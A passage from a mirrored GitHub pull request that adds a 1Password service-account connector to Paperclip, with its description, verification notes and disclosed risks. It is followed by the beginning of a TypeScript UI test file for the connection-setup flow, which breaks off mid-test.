mirror of
https://github.com/paperclipai/paperclip.git
synced 2026-10-27 02:44:50 +01:00
## Thinking Path > - Paperclip lets people manage AI agents and govern their access to outside services. > - Apps connections keep provider credentials in the instance vault and mediate every action through grants, policies, and audit. > - Agents currently have no Apps connection for reading or managing 1Password items with an operator-supplied service-account token. > - 1Password supports this through its official SDK; its documentation MCP server does not expose vault operations. > - This pull request adds a one-field service-account connection and registers eight reviewed SDK actions through the existing native-provider catalog. > - Operators can select vault permissions in 1Password and agent/action access in Paperclip without installing a CLI or handing durable credentials to agents. ## Linked Issues or Issue Description Related: #16144 adds 1Password as Paperclip's secret-storage backend. This PR adds the separate Apps/tool-access flow with a per-connection credential; it does not change secret providers or use a server-wide ambient token. **Subsystem affected** Apps catalog, native tool-provider registry, and shared connection setup. **Problem or motivation** People need to paste their own `OP_SERVICE_ACCOUNT_TOKEN`, find official service-account setup instructions, and authorize agents to use the selected vaults through ordinary Paperclip governance. **Proposed solution** Add `1password/service-account`, with a password field labeled **Paste your 1Password Service Account token** and a link to [1Password's creation instructions](https://www.1password.dev/service-accounts/get-started#create-a-service-account). Use the pinned official `@1password/sdk` 0.5.0 for vault/item listing, item and secret-reference reads, and item create/update/archive/delete. **Alternatives considered** A remote MCP card would not provide vault access. A local CLI or a third-party MCP package adds installation and credential surfaces that the official SDK avoids. ## What Changed - Added the source and generated catalog definition, permission review, official light/dark artwork, documentation, and capability-map references. - Added a provider-owned SDK bridge with strict schemas, account-domain validation, contract hashes, fixed errors, bounded output, and disposable workers with cancellation/deadlines. - Registered the provider through master's native-provider catalog; existing setup, health, discovery, gateway, policy, and audit owners remain in place. - Labeled the single password field **Paste your 1Password Service Account token**. The shared formatter preserves explicit credential prompts; ordinary key labels retain their existing presentation. - Added credential-ownership, gateway read/write, policy/revocation, worker, setup UI, and interactive Storybook coverage. ## Verification - Final review follow-up: added two deterministic worker-entry tests for nested exact-token redaction and oversized-output rejection. Removing each guard caused exactly its regression test to fail. The focused provider suite passed **15 tests**, and the official server typecheck passed after rebuilding stale workspace SDK artifacts. Current head `569cb7f9bd57db791fb13a6034ce69bf50878cb1` passed the full [CI run](https://github.com/paperclipai/paperclip/actions/runs/40016166260), including typecheck, build, unit/integration tests, and all eight browser shards. The required `ci / verify` and `ci / e2e` gates passed. [Greptile](https://github.com/paperclipai/paperclip/pull/17249#issuecomment-6353731805) and [Paperclip Review](https://github.com/paperclipai/paperclip/pull/17249#issuecomment-6372165895) each rated this exact head **5/5**, with no open findings. Paperclip Review completed with a neutral check because its scoped reviewer could not inspect CI; the full CI result was verified separately. Other neutral checks and intentionally skipped Storybook jobs contain no actionable findings. - CI recovery on the same commit: the first attempt lost six jobs. Five logged simultaneous runner shutdowns at 18:49 UTC on 2026-10-23; the sixth stopped logging before a test result and its root cause was not established. No assertion failure appeared in the retrieved logs. All six jobs and the aggregate gates passed one failed-job retry. [CI run](https://github.com/paperclipai/paperclip/actions/runs/40005754936). - Copy follow-up: the catalog, provider, and setup UI suites passed **275 tests**. The governed gateway lifecycle passed **3 tests** (one live-only test skipped), including create, update, archive, and delete. UI token gates and map checks passed. The branch was rebased onto `9c442cf48e` to resolve additive catalog conflicts while retaining the Vercel and Supabase entries. The existing live write proof below remains applicable; this follow-up changes presentation only. - Five affected suites, including the existing Daytona consumer, passed **290 tests** (one opt-in live test skipped in fixture mode). Full `pnpm -r typecheck` and `pnpm build` passed. The local broad-suite attempt could not complete because PostgreSQL semaphore exhaustion prevented a competing integration suite from starting; the complete affected-file retry passed after disposable-process cleanup. The prior commit `f208a8aff6dc28859cc3f343497e18d85f124579` passed the complete CI matrix. All CI build, typecheck, test, and browser gates also passed on the earlier commit `9e2f3d3140368a08da43b004b2e8d3a0f4c0fa4d`. The separate Paperclip Review reported a worker-result regression-test gap on that head; the follow-up above addresses it. Its review thread is resolved, and both fresh current-head reviews are clean as recorded above. - Token gates, module boundaries, brand validation, map checks, and Storybook catalog checks passed. - Direct SDK create/archive/delete and rejected-call coverage passed (13 provider tests); the Storybook Permissions/Test play completed successfully in Chromium. Server and UI typechecks passed after those fixes. Greptile passed prior commit `9e2f3d3140368a08da43b004b2e8d3a0f4c0fa4d` at **5/5**. Both reviewers also passed the worker-test follow-up at **5/5** as recorded above. - Live 1Password proof on 2026-10-22: connect, eight-action discovery, vault listing through an actual run-scoped gateway, refresh, reconnect preserving identity, another read, removal, and denial through the retained session passed. Credential absence was asserted in responses/audit; an exact-token scan of inspected logs and changed files passed. - Real browser: Connectors → 1Password → token entry → personal access limited to one disposable agent → completion → Permissions → Test `onepassword_list_vaults` succeeded. The disposable connection was removed afterward. - Compiled-worker smoke initially exposed inherited Node launch flags. Workers now use explicit empty `execArgv`; the compiled worker then authenticated successfully and listed one vault. - Live write proof on **2026-10-23**: the replacement Keychain token passed all eight actions through the actual run-scoped gateway for both personal and shared credentials. The test created, listed, read, updated, resolved a secret from, archived, and deleted two synthetic items. Both were absent from subsequent item lists. Refresh/reconnect, identity preservation, removal, retained-session denial, and credential absence passed. The live suite passed **3 tests** (one fixture-only test skipped) in 116.65 seconds. The expanded fixture suite passed **3 tests** (one live-only test skipped); the 13 provider tests and server typecheck passed. An exact-token scan passed over 64 source/log files. - Failure history: the original token denied creation on 2026-10-22 and created no item. The first 2026-10-23 attempt stopped before provider calls because host PostgreSQL semaphore limits prevented test-database startup. A temporary ten-connection test profile allowed the complete retry to pass without changing shared services or host limits. A new delete-result assertion also exposed an outdated fixture response (`success` instead of `deleted`); the fixture was corrected and the complete fixture suite passed. Official contract sources: [service accounts](https://www.1password.dev/service-accounts/get-started), [SDKs](https://www.1password.dev/sdks), [item management](https://www.1password.dev/sdks/manage-items), [official JavaScript SDK](https://github.com/1Password/onepassword-sdk-js). ## Risks - Authorized item/secret reads intentionally return secret values to the agent and ordinary tool-result history. Select trusted agents and use restricted service-account vaults; the connection token itself is redacted. - New connections retain existing Paperclip action defaults, including Allowed writes/destructive actions for selected agents. 1Password still enforces the token's permissions. - Service-account access cannot be changed in place. Create a replacement account and reconnect to change vault permissions; read-only keys can connect but cannot write. - SDK authentication happens per action in a disposable worker. Calls have a 30-second maximum; cancellation stops local work, while a mutation already accepted by 1Password can still finish. Writes are never automatically retried. - Additive dependency and catalog change; no database migration. Disable/remove the connection to withdraw access, or remove the provider from catalog visibility for rollback. ## Model Used OpenAI Codex, based on GPT-6, with code editing, shell/browser tools, and live provider verification. A more specific runtime model ID and context-window limit were not exposed in this session. ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have searched GitHub for duplicate or related PRs and linked them above - [x] I have either (a) linked existing issues with `Fixes: #` / `Closes #` / `Refs #` OR (b) described the issue in-PR following the relevant issue template - [x] I have not referenced internal/instance-local Paperclip issues or links (only public GitHub `#NNN` / `github.com/paperclipai/paperclip` URLs) - [x] My branch name describes the change (e.g. `docs/...`, `fix/...`) and contains no internal Paperclip ticket id or instance-derived details - [x] I have run tests locally and they pass - [x] I have added or updated tests where applicable - [x] I have updated relevant documentation to reflect my changes - [x] I have considered and documented any risks above - [x] All Paperclip CI gates are green - [x] Greptile is 5/5 with no open P2s, recommendations, or follow-ups - [x] I will address all Greptile and reviewer comments before requesting merge --------- Co-authored-by: Paperclip <noreply@paperclip.ing>
4621 lines
210 KiB
TypeScript
4621 lines
210 KiB
TypeScript
// @vitest-environment jsdom
|
||
|
||
import { act, type ReactNode } from "react";
|
||
import { createRoot, type Root } from "react-dom/client";
|
||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||
import { CONNECTABLE_APP_DEFINITIONS, GOOGLE_WORKSPACE_CONNECTOR_PROFILES, getAppStoreDefinition } from "@paperclipai/shared";
|
||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||
import { ApiError } from "@/api/client";
|
||
import { aiConnectionsApi } from "@/api/ai-connections";
|
||
import { queryKeys } from "@/lib/queryKeys";
|
||
import { ConnectionSetupFlow } from "@/features/connections/ConnectionSetupFlow";
|
||
import { rememberSkillSourceReturn, skillSourceReturnPath } from "@/lib/skill-source-connect-return";
|
||
import { AppsConnect } from "./AppsConnect";
|
||
import { TooltipProvider } from "@/components/ui/tooltip";
|
||
|
||
vi.mock("@/api/companies-query", () => ({ useAccountIdentity: () => ({ userId: "board-user", settled: true, failed: false }), resolveAccountUserId: async () => "board-user" }));
|
||
|
||
const listGalleryMock = vi.hoisted(() => vi.fn());
|
||
const experimentalMock = vi.hoisted(() => vi.fn());
|
||
vi.mock("@/api/instanceSettings", () => ({ instanceSettingsApi: {
|
||
getExperimental: experimentalMock,
|
||
get: async () => ({ defaultEnvironmentId: "local-env" }),
|
||
getGeneral: async () => ({}),
|
||
} }));
|
||
const listApplicationsMock = vi.hoisted(() => vi.fn());
|
||
const listConnectionsMock = vi.hoisted(() => vi.fn());
|
||
const getConnectionMock = vi.hoisted(() => vi.fn());
|
||
const getConnectionInstallsMock = vi.hoisted(() => vi.fn());
|
||
const connectAppMock = vi.hoisted(() => vi.fn());
|
||
const startOAuthMock = vi.hoisted(() => vi.fn());
|
||
const finishAppMock = vi.hoisted(() => vi.fn());
|
||
const putConnectionInstallsMock = vi.hoisted(() => vi.fn());
|
||
const getCloudConnectorEnrollmentMock = vi.hoisted(() => vi.fn());
|
||
const startCloudConnectorEnrollmentMock = vi.hoisted(() => vi.fn());
|
||
const listAgentsMock = vi.hoisted(() => vi.fn());
|
||
const mockNavigate = vi.hoisted(() => vi.fn());
|
||
const openAggregatorTaskMock = vi.hoisted(() => vi.fn());
|
||
vi.mock("@/context/DialogContext", () => ({ useDialogActions: () => ({ openNewIssue: openAggregatorTaskMock }) }));
|
||
const navigateTopLevelMock = vi.hoisted(() => vi.fn());
|
||
const mockSearch = vi.hoisted(() => ({ value: "" }));
|
||
const mockParams = vi.hoisted(() => ({ appKey: undefined as string | undefined }));
|
||
const mockCompany = vi.hoisted(() => ({
|
||
value: {
|
||
selectedCompanyId: "company-1" as string | undefined,
|
||
selectedCompany: { id: "company-1", name: "Paperclip" } as { id: string; name: string } | null,
|
||
},
|
||
}));
|
||
|
||
const ZAPIER = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "zapier")!;
|
||
const GITHUB = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "github")!;
|
||
const GITHUB_MANAGED = {
|
||
...GITHUB,
|
||
ownershipAvailability: {
|
||
...GITHUB.ownershipAvailability,
|
||
platform_shared: true,
|
||
},
|
||
};
|
||
const NOTION = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "notion")!;
|
||
const ASANA = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "asana")!;
|
||
const ASANA_MANAGED = {
|
||
...ASANA,
|
||
ownershipAvailability: { ...ASANA.ownershipAvailability, platform_shared: true },
|
||
};
|
||
const BOX = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "box")!;
|
||
const POSTHOG = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "posthog")!;
|
||
const NEON = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "neon")!;
|
||
const SUPERAGENT = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "superagent")!;
|
||
const GAUGE = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "gauge")!;
|
||
const DITTO = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "ditto")!;
|
||
const BRAINTRUST = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "braintrust")!;
|
||
const POSTMAN = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "postman")!;
|
||
const SHOPIFY = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "shopify")!;
|
||
const GOOGLE_SHEETS = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "google-sheets")!;
|
||
const GOOGLE_CALENDAR = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "google-calendar")!;
|
||
const GOOGLE_DRIVE = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "google-drive")!;
|
||
const GMAIL = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "gmail")!;
|
||
const PAGERDUTY = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "pagerduty")!;
|
||
|
||
vi.mock("@/api/tools", () => ({
|
||
toolsApi: {
|
||
syncAggregatorApps: vi.fn().mockResolvedValue({ apps: [], sync: { status: "idle" }, discovery: { availability: "available" } }),
|
||
listGallery: (companyId: string) => listGalleryMock(companyId),
|
||
listApplications: (companyId: string) => listApplicationsMock(companyId),
|
||
listConnections: (companyId: string) => listConnectionsMock(companyId),
|
||
getConnection: (id: string) => getConnectionMock(id),
|
||
getConnectionInstalls: (id: string) => getConnectionInstallsMock(id),
|
||
connectApp: (companyId: string, input: unknown) => connectAppMock(companyId, input),
|
||
startOAuth: (connectionId: string, input?: unknown) => startOAuthMock(connectionId, input),
|
||
finishApp: (companyId: string, connectionId: string, input: unknown) =>
|
||
finishAppMock(companyId, connectionId, input),
|
||
putConnectionInstalls: (connectionId: string, installs: unknown) =>
|
||
putConnectionInstallsMock(connectionId, installs),
|
||
getCloudConnectorEnrollment: () => getCloudConnectorEnrollmentMock(),
|
||
startCloudConnectorEnrollment: (companyId: string, label?: string, returnTo?: string) =>
|
||
startCloudConnectorEnrollmentMock(companyId, label, returnTo),
|
||
},
|
||
}));
|
||
|
||
vi.mock("@/api/agents", () => ({
|
||
agentsApi: { list: (companyId: string) => listAgentsMock(companyId) },
|
||
}));
|
||
|
||
vi.mock("@/lib/browserNavigation", () => ({
|
||
navigateTopLevel: (target: string) => navigateTopLevelMock(target),
|
||
}));
|
||
|
||
vi.mock("@/lib/router", () => ({
|
||
useNavigate: () => mockNavigate,
|
||
useParams: () => mockParams,
|
||
useSearchParams: () => [new URLSearchParams(mockSearch.value), vi.fn()],
|
||
}));
|
||
|
||
vi.mock("@/context/CompanyContext", () => ({
|
||
useCompany: () => mockCompany.value,
|
||
}));
|
||
|
||
vi.mock("@/context/BreadcrumbContext", () => ({
|
||
useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }),
|
||
}));
|
||
|
||
vi.mock("@/context/ToastContext", () => ({
|
||
useToast: () => ({ pushToast: vi.fn() }),
|
||
}));
|
||
|
||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||
(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
|
||
|
||
async function flushReact() {
|
||
await act(async () => {
|
||
await Promise.resolve();
|
||
await new Promise((resolve) => window.setTimeout(resolve, 0));
|
||
});
|
||
}
|
||
|
||
function setInputValue(input: HTMLInputElement, value: string) {
|
||
const setter = Object.getOwnPropertyDescriptor(
|
||
window.HTMLInputElement.prototype,
|
||
"value",
|
||
)?.set;
|
||
setter?.call(input, value);
|
||
input.dispatchEvent(new Event("input", { bubbles: true }));
|
||
}
|
||
|
||
function setTextareaValue(textarea: HTMLTextAreaElement, value: string) {
|
||
const setter = Object.getOwnPropertyDescriptor(
|
||
window.HTMLTextAreaElement.prototype,
|
||
"value",
|
||
)?.set;
|
||
setter?.call(textarea, value);
|
||
textarea.dispatchEvent(new Event("input", { bubbles: true }));
|
||
}
|
||
|
||
function buttonByText(text: string): HTMLButtonElement | undefined {
|
||
return Array.from(document.body.querySelectorAll("button")).find(
|
||
(b) => b.textContent?.trim() === text,
|
||
) as HTMLButtonElement | undefined;
|
||
}
|
||
|
||
function buttonContaining(text: string): HTMLButtonElement | undefined {
|
||
return Array.from(document.body.querySelectorAll("button")).find(
|
||
(b) => b.textContent?.includes(text),
|
||
) as HTMLButtonElement | undefined;
|
||
}
|
||
|
||
function radioContaining(text: string): HTMLButtonElement | undefined {
|
||
return Array.from(document.body.querySelectorAll<HTMLButtonElement>('[role="radio"]')).find(
|
||
(button) => button.textContent?.includes(text),
|
||
);
|
||
}
|
||
|
||
/** The wizard stepper's progress dots, one per step. */
|
||
function stepDots(): HTMLElement[] {
|
||
return Array.from(
|
||
document.body.querySelectorAll<HTMLElement>('[data-testid="wizard-step-dot"]'),
|
||
);
|
||
}
|
||
|
||
function stepDotCount(): number {
|
||
return stepDots().length;
|
||
}
|
||
|
||
/** The step names printed under the dots, e.g. "Access · Sign in". */
|
||
function stepLabelsOnScreen(): string[] {
|
||
const labelLine =
|
||
document.body.querySelector('[data-testid="wizard-step-labels"]')?.textContent ?? "";
|
||
return labelLine.split("·").map((label) => label.trim()).filter(Boolean);
|
||
}
|
||
|
||
/**
|
||
* Open the Advanced disclosure that now holds the identity and agent-reach
|
||
* controls the Access step used to own (PAP-659 C0). Closed by default and
|
||
* unmounted while closed, so a test that asserts on those controls has to open
|
||
* it first — which is itself the assertion that they are one click away.
|
||
*/
|
||
async function openAccessAdvanced() {
|
||
const change = Array.from(document.body.querySelectorAll("button")).find(
|
||
(b) => b.textContent?.trim() === "Change" && b.getAttribute("aria-expanded") === "false",
|
||
);
|
||
if (!change) return;
|
||
await act(async () => {
|
||
change.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
|
||
/**
|
||
* PAP-659 deleted the Access step: picking a connector now opens its connect
|
||
* screen directly, and identity/agent reach are a stated default with an
|
||
* Advanced disclosure rather than a screen to pass.
|
||
*
|
||
* What remains is the one-click handoff the Access step used to perform for
|
||
* automatic-OAuth definitions, which is now the primary action of the sign-in
|
||
* screen itself. Everywhere else this is a no-op, so the call sites keep
|
||
* reading as "get to the part this test is about".
|
||
*/
|
||
async function passAccessStep() {
|
||
const onOAuthEntryScreen = Boolean(
|
||
document.body.textContent?.includes("Paperclip will open")
|
||
|| document.body.textContent?.includes("Your connection is saved."),
|
||
);
|
||
if (onOAuthEntryScreen) {
|
||
const handoff = Array.from(document.body.querySelectorAll("button")).find((b) => {
|
||
const label = b.textContent?.trim() ?? "";
|
||
return label.startsWith("Continue to") || label.startsWith("Finish with");
|
||
});
|
||
await act(async () => {
|
||
handoff?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
return;
|
||
}
|
||
// The remote-MCP aggregator setup (arcade, composio, executor, zapier) keeps
|
||
// its own Access step until PAP-659's no-auth pass replaces it. Recognise it
|
||
// by its own stepper rather than by any control the shared flow also has.
|
||
if (!stepLabelsOnScreen().includes("Access")) {
|
||
await flushReact();
|
||
return;
|
||
}
|
||
const anyAgent = Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((option) => option.textContent?.includes("Any agent"));
|
||
if (anyAgent) {
|
||
await act(async () => {
|
||
anyAgent.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
const submit = Array.from(document.body.querySelectorAll("button")).find((b) => {
|
||
const label = b.textContent?.trim() ?? "";
|
||
return label === "Save and continue" || label === "Continue";
|
||
});
|
||
await act(async () => {
|
||
submit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
|
||
/** Submit the curated setup screen after Access for OAuth methods that also
|
||
* expose customer-owned client details. Browser sign-in remains the default
|
||
* when the optional client ID is left empty. */
|
||
async function submitCuratedOAuthSetup() {
|
||
const submit = buttonByText("Continue to sign in");
|
||
// Automatic OAuth definitions hand off directly from Access. Definitions
|
||
// with required provider configuration still render the setup submit.
|
||
if (!submit) {
|
||
await flushReact();
|
||
return;
|
||
}
|
||
await act(async () => {
|
||
submit.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
|
||
async function gotoLinkFrame(container: HTMLDivElement, url: string) {
|
||
const linkInput = Array.from(
|
||
container.querySelectorAll<HTMLInputElement>("input"),
|
||
).find((i) => i.getAttribute("placeholder")?.startsWith("https://"));
|
||
expect(linkInput).toBeTruthy();
|
||
await act(async () => setInputValue(linkInput!, url));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Continue")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await passAccessStep();
|
||
}
|
||
|
||
function notionConnection(id: string, credentialPolicy: string, status: string) {
|
||
return {
|
||
id: id,
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: credentialPolicy,
|
||
status: status,
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
};
|
||
}
|
||
|
||
function notionApplication(status: string) {
|
||
return {
|
||
id: "app-notion",
|
||
status: status,
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
};
|
||
}
|
||
|
||
function oauthStartResponse(connectionId: string, provider: string, authorizationUrl: string) {
|
||
return {
|
||
connectionId: connectionId,
|
||
provider: provider,
|
||
authorizationUrl: authorizationUrl,
|
||
expiresAt: "2099-01-01T00:00:00.000Z",
|
||
};
|
||
}
|
||
|
||
function activeConnectorEnrollment() {
|
||
return {
|
||
configured: true,
|
||
status: "active",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: "inst-test",
|
||
environment: "staging",
|
||
origins: ["https://paperclip.example.test"],
|
||
};
|
||
}
|
||
|
||
function unconfiguredConnectorEnrollment() {
|
||
return {
|
||
configured: false,
|
||
status: "not_configured",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: null,
|
||
environment: "staging",
|
||
origins: [],
|
||
};
|
||
}
|
||
|
||
function customerOwnedApp(app: typeof GMAIL) {
|
||
return {
|
||
...app,
|
||
methods: app.methods.filter((method) => !method.oauthStrategy),
|
||
ownershipAvailability: { platform_shared: false, customer: true, dcr: true },
|
||
};
|
||
}
|
||
|
||
describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
||
let container: HTMLDivElement;
|
||
let mountedRoot: Root | null;
|
||
|
||
beforeEach(() => {
|
||
vi.resetAllMocks();
|
||
experimentalMock.mockResolvedValue({ enableChatConnectors: false });
|
||
window.sessionStorage.clear();
|
||
mockCompany.value = {
|
||
selectedCompanyId: "company-1",
|
||
selectedCompany: { id: "company-1", name: "Paperclip" },
|
||
};
|
||
mockSearch.value = "";
|
||
mockParams.appKey = undefined;
|
||
container = document.createElement("div");
|
||
document.body.appendChild(container);
|
||
mountedRoot = null;
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [
|
||
ZAPIER,
|
||
GITHUB,
|
||
],
|
||
capabilities: {
|
||
canCreateOrganizationGrant: true,
|
||
organizationGrantReason: null,
|
||
canSetCompanyInstall: true,
|
||
companyInstallReason: null,
|
||
},
|
||
});
|
||
listApplicationsMock.mockResolvedValue({ applications: [] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [] });
|
||
getConnectionInstallsMock.mockResolvedValue({ installs: [{ targetType: "company", targetId: "company-1" }] });
|
||
startOAuthMock.mockResolvedValue(oauthStartResponse("conn-notion", "notion", "https://mcp.notion.com/authorize?state=resumed"));
|
||
finishAppMock.mockResolvedValue({});
|
||
putConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue(activeConnectorEnrollment());
|
||
startCloudConnectorEnrollmentMock.mockResolvedValue({
|
||
configured: false,
|
||
status: "pending",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: "inst-test",
|
||
environment: "staging",
|
||
origins: [],
|
||
verificationUrl: "https://my-staging.paperclip.app/connections/enroll?id=enroll-test",
|
||
});
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "example.com" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
});
|
||
listAgentsMock.mockResolvedValue([
|
||
{ id: "agent-1", name: "Ada", title: "CTO", status: "active", icon: "Bot" },
|
||
{ id: "agent-2", name: "Grace", title: "Engineer", status: "active", icon: "Code" },
|
||
]);
|
||
});
|
||
|
||
afterEach(async () => {
|
||
if (mountedRoot) {
|
||
await act(async () => mountedRoot?.unmount());
|
||
}
|
||
document.body.removeChild(container);
|
||
document.body.innerHTML = "";
|
||
vi.restoreAllMocks();
|
||
vi.clearAllMocks();
|
||
});
|
||
|
||
async function render(queryClient?: QueryClient, byoOnly = false, content?: ReactNode) {
|
||
const root = createRoot(container);
|
||
mountedRoot = root;
|
||
const client = queryClient ?? new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
await act(async () => {
|
||
root.render(
|
||
<QueryClientProvider client={client}>
|
||
<TooltipProvider>{content ?? <AppsConnect byoOnly={byoOnly} />}</TooltipProvider>
|
||
</QueryClientProvider>,
|
||
);
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
return root;
|
||
}
|
||
|
||
it("connects 1Password using only its service-account token and links official creation instructions", async () => {
|
||
const app = CONNECTABLE_APP_DEFINITIONS.find(entry => entry.slug === "1password")!;
|
||
listGalleryMock.mockResolvedValue({ apps: [app] });
|
||
await render(undefined, false, <ConnectionSetupFlow serviceSlug="1password" />);
|
||
const fields = container.querySelectorAll<HTMLInputElement>('input[type="password"]');
|
||
expect(fields).toHaveLength(1);
|
||
expect(fields[0]!.getAttribute("aria-label")).toBe("Paste your 1Password Service Account token");
|
||
expect(container.querySelector('a[href="https://www.1password.dev/service-accounts/get-started#create-a-service-account"]')).not.toBeNull();
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
await act(async () => setInputValue(fields[0]!, "ops_disposable-fixture"));
|
||
await act(async () => buttonByText("Connect")?.click());
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ galleryKey: "1password",
|
||
connectionMethodKey: "service-account", credentialValues: { "credentials.authorization": "ops_disposable-fixture" } }));
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("keeps Honcho setup blocked until the provider workspace is supplied", async () => {
|
||
const honcho = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "honcho")!;
|
||
experimentalMock.mockResolvedValue({ enableMemoryConnectors: true });
|
||
listGalleryMock.mockResolvedValue({ apps: [honcho] });
|
||
await render(undefined, false, <ConnectionSetupFlow serviceSlug="honcho" />);
|
||
const key = container.querySelector<HTMLInputElement>('input[type="password"]')!;
|
||
const workspace = container.querySelector<HTMLInputElement>('input[aria-label="Honcho workspace"]')!;
|
||
expect(workspace.compareDocumentPosition(key) & Node.DOCUMENT_POSITION_FOLLOWING).toBeTruthy();
|
||
expect(container.textContent).toContain(honcho.agentInstructions!.text);
|
||
expect(container.querySelector('[aria-label="Agent instructions"] [role="switch"]')?.getAttribute("aria-checked")).toBe("true");
|
||
await act(async () => setInputValue(key, "test-honcho-key"));
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
await act(async () => buttonByText("Connect")?.click());
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
await act(async () => setInputValue(workspace, "paperclip-acme"));
|
||
expect(buttonByText("Connect")?.disabled).toBe(false);
|
||
await act(async () => buttonByText("Connect")?.click());
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledOnce();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
configValues: { workspaceId: "paperclip-acme" },
|
||
agentInstructions: expect.objectContaining({ enabled: true, text: honcho.agentInstructions!.text }),
|
||
}));
|
||
});
|
||
|
||
it.each([false, true])("shows optional instructions on the Notion OAuth screen only when supplied (%s)", async (provided) => {
|
||
const template = { id: "notion.test", version: 1, text: "Look up published decisions in Notion before proposing changes." };
|
||
listGalleryMock.mockResolvedValue({ apps: [{ ...NOTION, agentInstructions: provided ? template : undefined }] });
|
||
await render(undefined, false, <ConnectionSetupFlow serviceSlug="notion" />);
|
||
expect(buttonByText("Continue to Notion")).toBeDefined();
|
||
const toggle = container.querySelector('[aria-label="Agent instructions"] [role="switch"]');
|
||
expect(container.textContent?.includes("Tell agents to use Notion")).toBe(provided);
|
||
if (provided) {
|
||
expect(toggle?.getAttribute("aria-checked")).toBe("true");
|
||
expect(container.textContent).toContain(template.text);
|
||
} else expect(toggle).toBeNull();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["zapier", "arcade", "composio", "executor"])("inline aggregator %s collects the endpoint and completes only for the requester", async (provider) => {
|
||
const onComplete = vi.fn();
|
||
const popup = vi.spyOn(window, "open").mockReturnValue(null);
|
||
const connection = { id: "conn-inline", status: "draft", credentialPolicy: "per_user", authKind: "api_key" };
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: connection.id, connection,
|
||
catalog: [{ id: "tool-1", status: "active" }, { id: "tool-2", status: "active" }],
|
||
actions: {
|
||
readOnly: [{ catalogEntryId: "tool-1", riskLevel: "read" }],
|
||
canMakeChanges: [{ catalogEntryId: "tool-2", riskLevel: "write" }],
|
||
},
|
||
suggestedDefaults: { askFirstRiskLevels: ["write", "destructive", "high", "critical"] },
|
||
});
|
||
await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug={provider} requestedAgentId="agent-1" interactionId="intent-inline" onComplete={onComplete} />);
|
||
// PAP-659 C0: the gateway connectors reach the endpoint field immediately.
|
||
// The task-scoped reach is stated rather than confirmed on its own step.
|
||
const connectLabel = `Connect ${provider[0].toUpperCase()}${provider.slice(1)}`;
|
||
expect(container.textContent).toContain("available to the agent that asked for it");
|
||
expect(radioContaining("Any agent")).toBeUndefined();
|
||
if (provider === "composio") {
|
||
expect(container.textContent).not.toContain("MCP server URL");
|
||
expect(buttonByText("Reuse an existing session")?.getAttribute("aria-expanded")).toBe("false");
|
||
expect(buttonByText(connectLabel)?.disabled).toBe(false);
|
||
